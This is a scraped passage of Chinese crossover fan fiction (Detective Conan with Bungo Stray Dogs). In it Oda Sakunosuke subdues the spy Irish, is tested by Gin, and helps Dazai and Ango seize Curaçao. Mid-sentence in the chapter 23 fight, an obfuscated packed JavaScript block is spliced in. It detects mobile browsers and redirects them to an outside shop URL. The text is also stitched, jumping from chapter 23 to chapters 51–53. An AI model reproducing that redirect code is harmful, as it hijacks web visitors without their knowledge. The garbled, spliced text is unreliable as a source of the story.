他维持着管理官的声线,厉色道:“你是谁!” 织田作之助慢腾腾挪进屋,语气平静:“织田作。” 对上那人眼中掠过的疑惑和不解后,他才像是突然想起来那样,补充道。 “琴酒让我来的。” 至于到底是不是琴酒的命令,已经不重要了。 因为织田作不会让对方有任何往外传递情报的机会。 他要趁这次机会,再次用代号成员练习套话的技能。 23.第 23 章 面对危险分子,套话的秘诀在于保持神秘和危险。 对手是满眼警惕的组织卧底,织田作之助面无表情地拿出以前干杀手的气势,朝对方释放了淡淡的杀意。 见对方浑身肌肉绷紧后,他趁其不备果断出手,卸掉了冒牌货的两条手臂,再用膝盖压住背部将人控制在书桌上。 “你暴露了。”织田作冷冷道。 爱尔兰虽是情报人员,但他的身手并不差,出于对实力的盲目自信,让他连反抗都没来得及就被控制住了。 他评估着对方的实力,最后无奈地得出就算没有大意,自己也不是这个自称“织田作”的男人的对手。 冷淡的态度、敏捷的身手、时刻朝自己人散发的杀意。 这家伙在个人风格上的确和琴酒有相似之处。至少在他看来,织田作比伏特加更像是琴酒身边的人。 组织将再次派人潜入警视厅的事他是知道的,但没想到派来的是琴酒手底下的人。 琴酒明明和他不对付,怎么可能派人来协助他。 爱尔兰觉得这根本就是琴酒的阴谋,他愤恨地转头,看向织田作。 “到底是我暴露了,还是你害我暴露,说清楚。” 闻言,织田作略感惊讶。 难不成这人在林中小屋装了监控?他已经知道是自己带警方去找到了真正的松本管理官? 不对,这说不定是对方在反过来套话。可这种情况下,该怎么回答呢? 织田作思索后回答:“你自己知道。” 这一招叫以不变应万变。 见对方丝毫不掩饰目的,爱尔兰更是怒不可遏:“琴酒为了清除异己竟然敢这样做!你们这是在自寻死路!” 说着,他想到了被自己视为尊师和父亲的皮斯可的悲惨下场。 “我爱尔兰可不会任由你们宰割!等我拿着工藤新一的证据回到组织,你们就等着下地狱吧!” 清除异己?工藤新一的证据? 织田作之助意识到他们可能一直在跨服聊天,他只是想通过恐吓让对方吐露点关于组织的情报,谁知道对方把他当成了替琴酒铲除对手的小弟。 好在他得到了对方的代号。 本就是来自地狱的织田作完全不被爱尔兰的发言所恐吓,他淡淡地说:“你没有机会回组织了。” 说完他直接出手将人打晕,不给爱尔兰留任何反抗的机会。 直到昏迷的前一秒,爱尔兰都在用毕生掌握的脏话辱骂琴酒的恶行。 将人打包好,织田作之助在办公室内左右看看。 这里是警视厅,凭他一个人很难悄无声息地将人运走。 所以,还是得麻烦那位了。 白马总监:“……” 调查卧底的任务他才安排下去多久,这才一转眼的功夫怎么就把卧底找出来了。 事关警视厅高层,他虽然有诸多吐槽,但还是立马联系了已经参与进来的目暮十三。 对外宣称松本管理官突发急病已送往医院治疗。 佐藤和高木负责将真正的管理官送到医院,至于冒牌货爱尔兰,则是送到对那个组织了解更深的警察厅公安部门。 事件看似已经解决,但白马总监和织田作一对时间,发现爱尔兰只是最近一两周才顶替了松本管理官的身份潜入警视厅。 压根不可能和两年前诸伏景光的身份泄露事件有关。 “所以警视厅除了爱尔兰,还有组织的卧底。”白马总监神色凝重。 没想到那个组织的渗透竟如此之深,他在对此感到心惊的同时,也产生了浓浓的愧疚和挫败感。 身为警视总监,连手底下的人的真实身份都不了解,他愧对兄弟们的信任。 “接下来……”白马总监继续说,却被突如其来的铃声打断了。 是织田作用来和组织联络的手机响了。 上面显示的是未知号码。 “喂。”他接通电话。 “爱尔兰在干什么?” 琴酒的声音传来。 对组织top killer杀气免疫的织田作捂住话筒,朝白马总监做了个“琴酒”的嘴型。 完全没有对情报的渴望,只有对织田作之助这一冒险行为的担忧的白马总监连连打手势让他谨慎回话,不要暴露了身份。 织田作不擅长撒谎,于是他诚实地说:“他身份暴露,被我解决了。” 虽然爱尔兰没死,只是被公安收押了,但还是不要让组织的人知道这一点比较好。 琴酒:“……” 白马总监:“……” 偷听的伏特加:“……” 琴酒不会吐槽,他只会警告加恐吓。 “半小时后,5号据点,带着你的证据,否则我会让你后悔来到这个世界。” 一开始让伏特加安排新人加入爱尔兰的行动,本就有利用新人监督爱尔兰的打算。 琴酒的确和爱尔兰不对付,但他并没有打算在现在就除掉对方。 事已至此,他必须确认新人所说属实,否则,朗姆那条毒蛇一定会趁此发难。 但不得不承认的是,听到爱尔兰被解决的消息,琴酒有一瞬间是愉悦的。 除了琴酒,白马总监和伏特加的想法意外统一了。 ——不是,你这样直白地说出来真的没问题吗?搞不好就变成严重的内斗事件了啊! 挂断电话,织田作之助看向白马总监。 “抱歉,我得先离开一下。” 白马总监:“……注意安全。” 织田这家伙的心态未免太稳定了,光是在一旁听着,他都感觉心脏要跳出来了,这人怎么还能一本正经地告辞啊。 “善后工作麻烦您了,有新的进展我会及时汇报。”说完,织田作转身开门离开。 琴酒那边说不定会安排人观察他的动向,为了更有说服力,他决定正大光明地打车从警视厅离开。 5号据点。 织田作之助在伏特加的带领下,来到一间刑//房一样的房间内。 进门后,他看到琴酒背对着站在一个做成十字架模样的处//刑架前。 琴酒没有回头,他冰冷的声音回荡在房间内。 “爱尔兰是怎么暴露的。” “他抓了警视厅的松本管理官但没有灭口,被警方发现了。”织田作之助如实回答,“证据就是那位真正的管理官已经被接到医院。” “你怎么处理的。” “一枪毙命,现在应该已经火化了。” 总结起来就是证据都被织田作销毁了。 先前听爱尔兰提到他和琴酒的关系不好,甚至在听说他是琴酒派来的人后,直接把他当成了杀手。 所以有丰富混黑经验的织田作之助觉得就算这样做,只要琴酒确认爱尔兰的确已死,他压根不会为难自己这个帮了大忙的小弟。 毕竟自己帮琴酒处理了一个死对头不是吗。 琴酒比织田作想的更多疑。 “咔嚓” 一支已上膛的手枪被丢到织田作手中。 “让我看看你是怎么做到的。”说完,琴酒风一般转身,朝织田作攻来。 银发杀手身型高大,但这并没有成为桎梏他行动的弱势。 那扑面而来的杀意和血腥让织田作之助有种回到港口Mafia的错觉,但这也只是让他愣了片刻。 知道这是琴酒对自己的测试,他自然不会大意。 矮身躲过对方的鞭腿,【天衣无缝】突然发出警醒。 一个前滚翻避开子//弹,织田作掂了掂手里的枪。 这个重量,只有一颗子弹。 他抓起一条锁链,身体犹如一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16459699|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条灵蛇在空中游过,越过琴酒上方时甩开手中的锁链,朝着琴酒握枪的左手击打而去。 不过琴酒可不是那种能轻松缴械的对象。 两人的战斗开始得没有任何预兆,结束时也只有一屋的烟尘知道发生了什么。 枪口正对着琴酒的眉心,织田作之助轻轻喘气,在他胸口正前方,也被琴酒用伯/莱/塔指着。 这是一场没有胜负的对决。 “吱呀” 木门被人推开,伏特加探头进来,小心翼翼地喊了声“大哥”。 早在两人打起来前他就退了出来,子//弹可不长眼睛,琴酒大哥能躲开,他伏特加可不一定。 意识到测试结束,织田作之助主动放下枪。 “我合格了吗?”他问。 这样的流程他再熟悉不过了,因此既没有表现出惶恐,也没有因为琴酒的突然袭击感到愤怒。 看着平静地不像是活人的织田作之助,琴酒冷冷地笑了一声。 “你很有野心。” 利用伏特加进入组织,现在又要踩着爱尔兰的尸体上位。 而且先前动手时,他感受到了对方身上散发着和自己一样的气息。 果然,能招惹到横滨的Mafia的人,怎么可能只是一个普通的小侦探。 看在织田作帮他解决了一个眼中钉的份上,心情愉悦的琴酒冷冷道:“完成这个任务后,伏特加会给你安排晋升任务。” 帽檐下,一双灰绿色的眼睛看向织田作。 “顺利完成的话,‘爱尔兰’就是你的代号。” —— 目前的任务有从连环杀人案凶手那里取回组织的秘密情报,以及完成晋升任务。 从据点里出来,织田作之助走在路上,想着这戏剧性且充满幸运与机遇的一天。 貌似有点幸运过头。 他深知幸运和厄运之间的质量守恒原则。 一旦他被当前一帆风顺的表象所迷惑,接下来就肯定会发生点什么让他栽一个大跟头。 好比在Mimic出现之前,他身边有值得信赖的友人,收养了5个孩子,还有一份相对稳定的工作,眼看着就要实现在海边的小屋自由创作的梦想。 转眼间便化为幸福的泡影烟消云散。 唯一值得庆幸的是幸介他们没有因为自己这个监护人的罪孽影响到转生,顺利步入了新的轮回。 听鬼灯大人说,他们各自投入到新的家庭,过上了安稳平和且幸福的新生。 真是太好…… 感叹到一半,织田作之助突然浑身僵硬地顿在原地。 天桥上,他近乎呆滞地看着不远处同样陷入僵直的沙色身影。 ‘太宰。’ 熟悉的名字在口中迟迟未能喊出。 不能暴露身份! 想到这一点,他低下头,转身准备混入人群逃离。 没办法,面对太宰,他只能做只懦弱的鸵鸟。 可惜他的一举一动被太宰治看在眼里,后者瞬间察觉到他想要逃离的打算。 “织田作——!” 织田作之助下意识回头,在看到太宰治的动作后,他瞳孔紧缩。 因为太宰治靠在天桥的围栏上,闭上眼睛,双手张开就要往后倒去。 他身下,是飞速行驶的车流。 风拂过脸颊,太宰治感觉身体越来越轻盈。 如果对方是织田作的话,他一定会出现。 如果不是的话……不可能,那个人一定是织田作! 带着这样的想法,太宰治大半个身体都越过了栏杆。 就在快要落下的瞬间,他的手被一只冰凉有力的大手握住。 一股巨大的拉力将他拉回天桥,站稳后,太宰治惊喜地睁开眼睛。 却只看到一道虚幻仿若梦境的背影。 50-60 第51章 “所以织田作现在以小说家的身份,顺利进入了警察厅,并且已经和疑似代号库拉索的组织成员见过面了。” 吃过晚餐,三人或坐或躺地聚集在沙发上,太宰治舒服地伸了个懒腰,一米八的他独占了整个懒人沙发。 “如果你们各自所属派别是互相对立的话,我觉得那位库拉索小姐说不定会提前采取行动哦。” 越是体系庞大的犯罪组织,派系之争也越多。 这种时候,谁的动作快,谁就能占据主导地位。 “没办法了,今晚就去干掉她吧。”太宰治的语气就像是在说要不今晚加个班吧。 听完太宰治的推论,织田作觉得很有道理,但他小小的提醒了一句:“不能杀人。” 坂口安吾一直拿着笔记本电脑敲敲打打,确认两人都发表完意见,他将笔记本的屏幕转向两人。 “听说有人匿名举报警察厅内部有黑警,现在厅内因为这件事紧急召回了大量公安接受调查。” 屏幕上显示的是警察厅的内部消息截图。 内容是某位警部补收受犯罪组织的贿赂,为犯罪分子伪造了身份方便对方潜入警察厅。 他轻推眼镜,看向织田作:“对方已经开始行动了。” 工作状态下的坂口安吾一看就是身居高位的社会精英,他说完便将屏幕转了回去。 “因为黑警的问题,今晚警察厅内部无疑是混乱的,如果要窃取卧底名单的话,在我看来今晚就是最佳时机。” 他继续敲击着键盘,同时建议道:“时间、地点、目标基本上都确定了。” 推测出库拉索可能采取的行动方案和逃跑路线,坂口安吾将相关情报发送到三人的聊天群里,这才收起电脑,抬头看向两人。 “要行动吗?” 从坂口安吾开始搜集情报到发起提议,时间只过了五分钟不到。 织田作看着一进入工作状态就气场大变的友人,莫名被对方的气势所影响,跟着认真起来。 “嗯。” 他的回答很简单,说完后,他便起身从沙发下抽出一个暗格,里面放着各种冷兵器和枪械。 “诶?织田作和安吾都把计划制定好了,那我做点什么呢?” 太宰治在沙发上翻了个身,双手撑着头看向分发装备的织田作,两条小腿交替在空中来回晃动。 “我知道啦!”他举起手,“我来当司机吧!” 坂口安吾顿时攥紧了口袋里的车钥匙,严肃拒绝了太宰治的申请。 “我是不会把我的车交给你的,太宰。” “可是让安吾来开车的话,等我们赶到,卧底名单早就被泄露出去了。” 见无法说服坂口安吾,太宰治转向织田作,“织田作觉得呢?” 手握重要的选择权,织田作看了看满脸抗拒的坂口安吾,又看了看期待他回答的太宰治。 他觉得不考虑安全因素的话—— “论抵达时间,太宰更快。” “耶~”太宰治发出欢呼。 拿出一把手枪放到坂口安吾手上,织田作安慰道:“组织的活动经费很多。” 言外之意是可以给他换一辆新车。 坂口安吾不情不愿地交出车钥匙:“那根本不是重点啊,织田作先生。” 重点是让太宰开车的话,他们还能活着下车吗? 啊,忘了织田作先生已经死了。 也就是说,受害者可能只有他坂口安吾一个人! 这才是最可怕的事情啊。 同样对太宰的车技有所了解,织田作乐观地说:“这些年太宰成熟了很多,应该不会像四年前那样开车了。” 坂口安吾虽然仍持怀疑态度,但还是选择暂且信他们一次。 然而现实总是事与愿违。 “吱——” “轰——” 轮胎与地面剧烈摩擦发出令人牙酸的声音,明明只是普通的发动机却在此刻发出了和赛车一样的轰鸣声。 坐在副驾的织田作面无表情地握紧门框上的扶手,后座的坂口安吾表情已经狰狞了。 赶在绿灯的最后一秒冲过十字路口,简朴低调的轿车在拥挤的车流中划出丝滑的S线。 期间太宰治甚至是单手握着方向盘,另一只手悠闲地撑着下巴,嘴里哼着听不出调的歌。 和坂口安吾的反应形成强烈对比。 半个小时的路程,他将时间缩短到了十分钟。 这里面的含金量已不必多说。 “唔、呕——在上一个转弯那里我差点以为要飞出去了。” 坂口安吾扒着车门,用虚弱的声音吐槽道。 “安吾明明是自己晕车,还偏要怪司机技术不好。” 太宰治搭着织田作的肩膀说:“织田作都没说什么。” 默默松开被自己捏得变形的扶手,织田作诚实道:“不,我其实……” ——以为又要死一次了。 “啊啊,好了,时间来不及了吧,织田作赶快行动了,我们会在外面给你情报支援的。” 猜出织田作要说什么,太宰治怪叫着帮他解开安全带,把人推下车。 送走织田作,太宰治再次启动汽车,在坂口安吾惶恐的眼神中将车稳稳地停进临时停车位里。 做完这一切,他才调侃道:“安吾的信任可真难获取呀。” 确认安全后,坂口安吾一脸菜色:“我愿意上车就是对你最大的信任了。” 他平复下翻江倒海的胃,强撑着从公文包里取出笔记本电脑。 工作狂的本性让他迅速进入工作状态。 黑入警察厅的内部监控系统,他根据织田作的描述,锁定了库拉索的位置。 打开耳麦,坂口安吾远程指挥道:“织田作先生,目标正位于警察厅五楼靠楼梯间的位置。” 另一边,因为戴着耳麦无法魂体化的织田作稍微用了点时间才悄无声息地潜入了警察厅。 听到坂口安吾的指示,他回了个“收到”后立即朝五楼靠近。 “大部分公安集中在四楼的会议室,上楼时请千万小心。” “明白。” 这是织田作和坂口安吾第一次搭档行动,就算是四年前,他们一个是底层成员,一个是首领直属的情报员,唯一一次的共同任务就是Mimic 。 友人间的默契让两人的配合进行得十分顺利。 见到这一幕,太宰治突然有种被排挤的错觉。 明明他也很擅长在幕后指挥行动,为什么这一次被狡猾的安吾抢走了和织田作搭档的机会呢? 原因很简单。 坂口安吾把这次协助织田作当作了重要的工作,并且随身携带了电脑、相机、无线耳麦、手枪等工作必须品。 太宰治则是完全抱着带薪休假的态度。 看出太宰治的打算,织田作和坂口安吾都默契地把他挪到了行动名单外。 可自己想办法偷懒和别人主动提供偷懒机会是完全不一样的。 在侦探社偷懒摸鱼,能看到暴跳如雷的国木田独步和面露难色的中岛敦,能为枯燥的生活增添一丝色彩,勉强算得上有趣。 反观现在,贴心的友人们直接为他营造了舒适安逸的摸鱼环境,连任务都只是让他帮忙开车。 太宰治不喜欢这种感觉。 他不允许只有安吾一个人在织田作面前大放光彩。 他决定做点什么来证明自己。 四下看了看,太宰治的视线停留在一辆正缓缓从街角驶来的红色福特野马上。 车被改装过。 现在也还没到炸街党外出活动的时间段。 仅一街之隔就是警察厅,以对方的车速,应该是打算将车停在附近。 结局如他所料。 对方就停在距离他们三个车位的街对面。 车主熄火后没有立即下车,反而关掉了车内的所有灯光,从外面看,根本发现不了里面有人。 很可疑呢。 警察厅正陷入黑警风波,组织成员库拉索在伺机而动,卧底名单岌岌可危。 在这个时间点,以盯梢的方式出现在附近的改装车,里面的人绝对别有用心。 太宰治想了想,转头向坂口安吾问道:“织田作那边大概还需要多久?” 坂口安吾头也不抬地回答:“五分钟足够。” 警察厅那边,织田作已经对上了正要潜入存放着卧底名单密室的库拉索,以前者的身手,两分钟足够他制服对方,剩下的三分钟是带着库拉索离开的时间。 “我出去一下。”太宰治开门朝街对面走去。 同时灵活的手指在屏幕上输入着什么信息,走到对方车边时,正好编辑完毕按下发送。 赤井秀一是突然接到线报说警察厅出事了,于是赶紧卸下伪装,驾车来到警察厅外面观察情况。 他是FBI的搜查官,曾以“诸星大”的假身份潜入某跨国犯罪组织调开展调查,因身份泄露不得不假死避开组织的眼线,现在化名为“冲矢昴”借住在著名推理小说家工藤优作的家里。 不过他刚停好车就遇到了一点小意外。 一个穿着沙色风衣的男人敲响了他的车窗。 如果是普通人,他大可以假装车内没人,蒙混过去。 但对方明显不是普通人,因为那人敲窗用的不是手,而是黑洞洞的枪口。 透过防窥膜,他甚至看到对方的嘴角带着笑意。 这是明晃晃的威胁。 恰好他最不怕的就是威胁。 车窗缓缓降下,首先出现在太宰治眼前的是一顶黑色针织帽,紧接着露出的是一双锐利的墨绿色瞳孔。 颧骨突出、鼻梁立体,是个混血。 “晚上好~” 太宰治丝毫不惧对方警告的视线,弯下腰趴在车门上,“这里不让停车。” 赤井秀一观察着太宰治在看到自己样貌时的反应,对方对他这张脸既没有表现出诧异,也没有露出杀意之类的情绪。 这人不认识他?难道不是组织的成员吗。 他猜测着太宰治的身份,语气平静地说:“东京的治安未免太差了,这可是警察厅对面。” 如果来者是日本警方的话,一定会因为这句贬低挑衅的话控制不住脾气。 太宰治只是看着他,表情像是在说“嗯,然后呢”。 赤井秀一:“……” 不是日本警方吗,那会是哪一方的人? 首先排除组织的人,因为那个组织的人不会像这样浪费时间,早在看到他这张脸的瞬间便会动手。 日本警方也排除,那是别国的特工?为什么会持枪在警察厅外面威胁路人? 他陷入思考中时,一辆低调的黑色轿车从后方驶来。 车窗缓缓降下,来人戴着一副圆框眼镜,冷淡的表情看他像是在看一个将死之人。 太宰治迟迟不回,坂口安吾只好自己开车,织田作那边已经把库拉索打晕带出来了,正在某个花台里蹲着等他们接应。 谁知他刚掉头,就看到太宰治趴在一辆福特野马上,一副搭讪的样子。 坂口安吾内心深感无语,但还是开车到对方身后,示意太宰治上车。 在看到车里竟然只坐着一个男人时,坂口安吾意识到对方可能和那个组织有关,说不定是来接应库拉索的成员。 借着车门的遮挡,坂口安吾将枪握在手上。 “结束了吗?” 太宰治没有要动手的意思,像是刚才拿着枪威胁别人的恶棍不是他一样,“我们走吧。” 催促着坂口安吾开车,太宰治拿着枪的手朝赤井秀一挥了挥。 “再见啦,现在这里可以随便停车了。” 以为将迎来一场恶战的赤井秀一:“……” 这人到底什么情况,话说他手里的枪是真货吗?不会是拿把假枪出来恶作剧的街头混混吧。 眼看黑色轿车即将离开视线范围,赤井秀一内心做出决定,发动汽车跟了上去。 这两个人很可疑,警察厅那边有那个人在,他就算离开应该也不会出什么事。 注意到福特野马跟了上了,坂口安吾不解地看向太宰治。 “那个人是?” 回应他的是一根只有手指长的黑色卷发。 “大概率是FBI,安吾自己看看就知道啦。” “FBI?” “特征很明显吧。”太宰治不想多做解释,看着后视镜自顾自地说着自己的想法,“你说我们把他绑去黑衣组织,能换到一个代号吗?” ———————— !!———————— 太宰:我只是想和织田作一样拥有一个代号,大家说我做得对吗! 某不愿透露姓名的波本默默点了一个赞[点赞] 第52章 【人生一世,总会因为各种奇妙的交集认识不同的人,交到志同道合的朋友。 无论是什么人,都会有朋友。 哪怕这个人是杀手、黑/手/党、间/谍。 魅魔生前和死后都很受欢迎,但能被他以友人相称的人意外的少。 】 屈身躲在花台里,织田作在等待友人来接的间隙,对萩原研二念念不忘的那位挚友产生了好奇。 在他看来,只要萩原研二愿意,能轻易地成为大部分人的知心好友。 正是这样的特性,要想进入萩原研二的内心并得到他发自心底的认可才显得难度高。 织田作不是没有问过萩原研二和他的挚友之间的故事,这并不是为了满足好奇心,而是想更深入地了解对方,好让笔下的角色更加还原。 但这个请求被拒绝了。 萩原研二拒绝的时候还神神秘秘地表示等到时候他就知道了。 等了没一会,坂口安吾开着车到了,织田作暂停构思,立即扛着陷入昏迷的库拉索上车。 来的时候,开车的是太宰,车上的织田作和坂口安吾都是一副如临大敌的样子。 返回的路上,车内的座次发生了变化,坂口安吾拿到了驾驶权,太宰治坐在副驾,留给织田作的只有宽敞的后座。 车里,坂口安吾正和太宰治争执着什么。 “绝对不可以拿公职人员的性命冒险,就算是别国的也不行。”坂口安吾说得斩钉截铁,没有丝毫可以商量的余地。 太宰治狡辩:“可是他都跟上来了,说不定他也想借此机会去那个组织看看呢。” “那分明是觉得你很可疑吧!正常人会拿着枪去告诉别人这里不让停车吗?” “说到底安吾就是不信任我!” “那让织田作先生来评评理!” 刚上车,什么都不知道,一脸茫然的织田作:“……” 他看了看后视镜,大概明白了事情的经过。 “处理掉后面跟着的车就可以了吧。” 织田作判断是坂口安吾和太宰治在处理跟踪车辆时因为意见不统一才发生了争执。 这种时候,与其耗费脑力思考谁对谁错,不如直接解决掉矛盾的根源。 他的动作很快,从拔枪上膛到伸出窗外射击,整套动作如行云流水般,压根没给任何人反应的机会。 “砰” 福特野马的前轮被击穿,被迫停到路边。 织田作这边的车内也恢复了平静。 安静了片刻,太宰治叹了口气。 “差一点就能得到代号了。” “织田作先生从来都没有说过那个组织的晋升是靠这种方法吧。”坂口安吾反驳。 “不试试怎么知道行不行得通呢。” “晋升?”织田作发问,“刚才那辆车里也是组织的成员吗?” “是FBI 。”坂口安吾回答了他的疑惑,同时将一个小巧的证物袋从口袋里拿了出来。 证物袋里装的,正是先前太宰治趁着和赤井秀一搭话的机会,从他身上顺来的头发。 “时间仓促,这是那个人的头发,我还没来得及阅读。” 织田作再问:“ FBI怎么会出现在这里?” “对啊,所以我就说应该把他引到一个荒无人烟的地方,由织田作把人打晕,然后交给我拷问一番,最后把他送到组织里作为我和安吾的见面礼。” 太宰治答非所问,仍对放跑了赤井秀一耿耿于怀。 “别把我们说得像恐/怖/分子一样啊,记住我们这次来是给织田作先生提供协助,不是帮黑衣组织铲除敌人的啊。” “有什么区别吗?” 在太宰治看来,要帮织田作迅速提升他在那个组织里的地位,最好的方式就是不断立功。 对犯罪组织来说,最直接的立功手段,就是为组织铲除潜在的威胁。 “有很大的区别!”坂口安吾只感到心累,他甚至在某个瞬间共情了侦探社的国木田独步。 这些年和太宰治当搭档,一定很艰难吧。 三人谈话间,织田作的手机响了,是安室透打来的电话。 此前,安室透特地回到警察厅,参与到黑警事件的调查中。 风见裕也到底是不是黑警,这件事他最有发言权。同时他也意识到这件事可能是库拉索动的手脚,他觉得可以利用信息差,打库拉索一个措手不及。 他带着公安们营造出一种警察厅因为黑警风波陷入混乱局面,暗地里在存有卧底名单的保密室外安排了大量的警力盯梢。 现在万事俱备,只等库拉索上钩了。 想到织田作也有知情权,安室透安排好一切后拨通了他的电话。 “我们准备在今晚抓捕库拉索,你现在有时间的话立刻来警察厅一趟,关于下步工作,我有一个计划……” 织田作耐心听完安室透关于下步计划的长篇大论,从伪造一份卧底名单到迫使组织加大清剿卧底的力度,再到趁机往组织里安插更多的公安卧底,最后是一举歼灭这个盘踞在里世界的毒瘤。 他表情平静,听完后还表示了肯定和赞许,然后才缓缓道:“库拉索在我这里。” 电话那头的人突然沉默了许久。 “什么意思?” 安室透有些怀疑自己的耳朵是不是听错了。 什么叫库拉索在织田作那里? “我刚刚从警察厅出来,见你们都在忙,所以我把她打晕带走了。” 说完,织田作后知后觉地想到,原来他们不是在忙调查黑警的事。 安室透:“……” 这人搞什么啊!这么大的事情都不能和他提前商量一下吗?而且为什么织田作一个大活人能在戒备森严的警察厅内自由活动甚至把库拉索带走啊,负责警戒的人都在干嘛? ! 安室透大怒,他按住手机收音口,冲一旁警戒的公安训斥道。 “你们刚刚在干什么?你们就是这样当公安的吗!” 公安:“……” “你现在的位置在哪?”安室透对风见裕也做了个行动取消的手势,拿起外套便急匆匆地朝停车场走去,“我过来找你。” 他的耐心可无法支撑他在警察厅等到织田作把库拉索送回来,为了避免再发生什么奇奇怪怪的意外,安室透决定主动出击。 给安室透报了个位置,织田作示意坂口安吾先停车。 “公安那边让我们把犯人移交给他们。” “在那之前。”他看向坂口安吾,从口袋里拿出一叠用线圈固定起来的塑料卡片,上面一共有五种颜色,“这是我抓到库拉索之前她一直拿在手上的,从磨损程度上来看应该经常使用。” 对组织成员来说,衣服、配饰等随身携带的物品都可以随时更换,从这些消耗品上恐怕读取不到什么重要的情报。 当然像太宰那样找一根头发来也是可以的,但库拉索毕竟是女性,他觉得太隐私的情报就不必掌握了。 “好。” 接过塑料卡片,坂口安吾发动异能【堕落论】。 他看了很久,也看到了许多关于黑衣组织的核心情报。 库拉索毕竟是朗姆的心腹,她接触到的自然是情报组的最核心机密。 关于APTX的研究、遍布世界的情报网络以及组织的野心,唯一可惜的就是那位朗姆对手下的信任度极低,就算是心腹,也从来不会以真面目示人。 从塑料卡片的记忆中抽离,坂口安吾发现织田作口中的公安已经到了,后者正将陷入昏迷的库拉索往对方车上搬。 看着被当作货物移交的组织成员,坂口安吾不禁疑惑道:“织田作先生到底用了多大的力气,让库拉索一直昏迷到现在。” 像这种跨国犯罪组织的成员,通常都会接受反刑讯、反催眠之类的训练,一般来说能混到库拉索这个位置的人,就算是被打晕,昏迷的时间也不会太长。 可从他们接上织田作到现在,已经过去快半个小时了吧。 这都不醒? 留在车里的太宰治哀怨地看着又一战果被人夺走,满不在乎地说:“谁知道呢,说不定已经脑死亡了。” “别把织田作先生说得像是杀人不眨眼的恶魔啊。” 见织田作似乎还要和那位公安先生说些什么,坂口安吾索性把太宰治顺回来的那根黑发拿出,再次使用【堕落论】。 头发的生长周期在2-6年不等,这根头发长出来的时间在约4年前。 4年前的赤井秀一,还有一个身份,那就是黑衣组织的代号成员——莱伊。 坂口安吾从头发的视角看到了赤井秀一和一位名叫宫野明美的组织成员谈恋爱,以高超的狙击技巧成为比肩琴酒的热门新人,一时不慎导致本是公安卧底的苏格兰在他面前举枪自尽,在美国围捕贝尔摩德的行动中暴露了身份,脱逃后借助江户川柯南的智慧假死逃脱了组织的围剿。 再次睁开眼睛,仿佛看了几百集少年推理漫的疲惫感涌了上来,坂口安吾郑重地将头发和塑料卡片一起放回证物袋中。 在太宰治好奇的注视下打开电脑,手指在键盘上翩然起舞,以敲出残影的手速将看到的内容记录下来。 太宰治:“……你看到了什么?” “不要和我说话!现在最重要的是将珍贵的情报转换成大家都能阅读的文字啊因为太宰的打岔我好像忘记了点什么快帮我把头发保管好接下来我要反复阅读!” 坂口安吾一旦进入工作状态,颓废的气质便一扫而空,取而代之的是社会精英的超绝专注力。 见他这样,太宰治默默抓着安全带往后缩了缩。 “安吾好可怕。” 感觉光是看上一眼,就会被社畜病毒感染然后在电脑面前加班到不知天地为何物最后力竭而死。 织田作怎么还不回来! 织田作正在被安室透质问。 “行动之前为什么不先通知我!”将库拉索铐在副驾驶上,安室透气势汹汹地质问道。 织田作面无表情地说:“抱歉,忘记了。” 虽然是在道歉,但语气里完全听不出歉意。 安室透深吸一口气,继续问:“你知道如果行动失败会导致什么后果吗?” 那可是警察厅,织田作现在的身份只是小说家,一旦暴露,将导致公安那条一直藏在阴影下的灰色链条曝光。 为什么公安会允许外部人员甚至是犯罪组织的一员伪装身份潜入警察厅?小说家织田作到底是谁?戒备森严的警察厅为什么同一时间被多人闯入? 铺天盖地而来的各种问题,将极大程度地降低警察厅的公信度。 这样的后果,就算警视总监也担不起责任。 看着安室透那张严肃的脸,织田作觉得这个时候应该说点什么让安室透放松一下心情。 于是他说:“我不会失败。” 以前他做杀手的时候,雇主最爱听的就是这句话了。 但安室透不是雇主,他现在也不是杀手了。 所以这句话不但没起到缓和气氛的作用,反而彻底点燃了安室透的怒火。 安室透一把揪住织田作的衣领,那双紫灰色的眼睛里仿佛要喷射出地狱的火焰:“你说什么?!这就是你的工作态度吗?就算是年轻气盛也稍微给我搞清楚状况吧!你到底把这份工作、这份沉甸甸的责任和使命当成什么了!” 大概能理解他的这份责任感,所以织田作没有反抗,仍是那副平静如水的表情。 意识到好像说错话了,他的视线默默地转向一旁坐在车里看热闹的太宰治身上。 怎么办? 织田作用视线尝试求救。 鲜少见到织田作因为工作的事被人揪着领子批评,太宰治一副看好戏的样子,无奈地摊了摊手。 我也不知道哦~ 其实他有很多种应对暴怒同事的策略。 如果是中原中也的话,他会把对方以前工作上的失误全部搬出来互相攻击。 如果是国木田独步,他会转移话题,随便抛出一个对方可能感兴趣的内容,轻松就能消除对方的怒火。 但这些方法都不适用于织田作。 悄悄掏出手机,太宰治将这一幕记录下来,并备注上“织田作工作照”。 照片的左下角,还有一个手指敲出残影的坂口安吾。 太宰治不但不提供援助,还暗搓搓地拍照留念,将对方的小动作尽收眼底的织田作只好靠自己平息下安室透的怒火。 可没等他采取行动,安室透就通过他的视线发现了一旁看好戏的太宰治和沉浸式办公的坂口安吾。 擅自行动不说,还带了未经审批的人参与到这么重要的行动中。 如果怒火有形状的话,现在安室透的头顶大概是火山喷发的造型。 “他们是谁?谁批准他们参与行动的?保密审核通过了吗?明天给我交一份三千字的情况说明过来!” 织田作的表情终于有了变化。 “……三千字?” ———————— !!———————— 鸽之助:我要远离这群只会不断给我增加写稿压力的活人[鸽子] 太宰:是活人感超强的织田作工作照,记录一下[撒花] 第53章 【魅魔虽然在天国工作,但他实际上隶属于地府,所以除了完成天国的工作外,他仍需接受地府的管理。 同样的,我只是外派到现世的地府狱卒,所以除了完成相应的任务外,理论上可以不接受现世的管理。 由此可以得出,我可以拒绝提供临时上司要求的三千字情况说明。 但该用什么样的理由拒绝呢? 】 织田作看着面前怒不可遏的公安头子。 他试探着开口道:“那个……” “什么!别想找理由推脱责任!” “库拉索快醒了。” 很拙劣的转移话题手法,但很管用。 